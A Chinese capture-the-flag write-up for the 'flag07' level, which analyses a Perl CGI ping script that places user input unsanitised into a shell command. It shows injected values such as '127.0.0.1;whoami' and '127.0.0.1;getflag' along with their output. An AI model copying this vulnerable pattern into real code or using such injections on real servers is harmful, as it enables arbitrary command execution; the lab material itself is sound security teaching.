在/home/flag07这个目录中,有一个index.cgi和thttpd.conf。它是一个cgi程序,既然是一个cgi程序,我们需要客户端访问,根据thttpd.conf配置文件中的内容,得知端口号是7007。
这关考验的是分析这个index.cgi,我们先看下它的源码:
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
这段代码的功能是通过调用外部的ping命令去ping指定的ip地址,ip地址通过参数获得:$host = $_[0];。然后加了-c参数——指定了发送数据包的数量为3。最后,程序会把ping的结果返回到客户端的浏览器中。
我们先配置好虚拟机的地址,保障实体机的系统可以正常访问,我这里为它配置的地址是192.168.56.101。实体机访问http://192.168.56.101:7007/index.cgi
可以成功访问,然后提交URI:http://192.168.56.101:7007/index.cgi?Host=127.0.0.1
即可看到回显结果(注意参数Host开头是大写,index.cgi最后行的param("Host")
决定了参数)。
这段Perl脚本的漏洞出现在以下代码上:
@output = `ping -c 3 $host 2>&1`;
这句出现了可执行任意文件漏洞。在Perl中,“`”(Tab键上的那个键)符号之间的内容是调用的外部命令。
为了方便,我在本地写了个html页面方便提交,读者也可以用nc、curl等工具提交:
<html>
<head><title>test</title></head>
<body>
<form action="http://192.168.56.101:7007/index.cgi" method="get">
<input type="text" name="Host" />
<input type="submit" />
</form>
</body>
</html>
然后,用浏览器打开这个html文件,输入127.0.0.1;whoami
,提交,显示结果中的最后行多出个”flag07",说明当前以flag07身份执行的。于是继续提交127.0.0.1;getflag
,显示结果:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.018 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.051 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.057 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.018/0.042/0.057/0.017 ms
You have successfully executed getflag on a target account
注意到最后行You have successfully executed getflag on a target account
。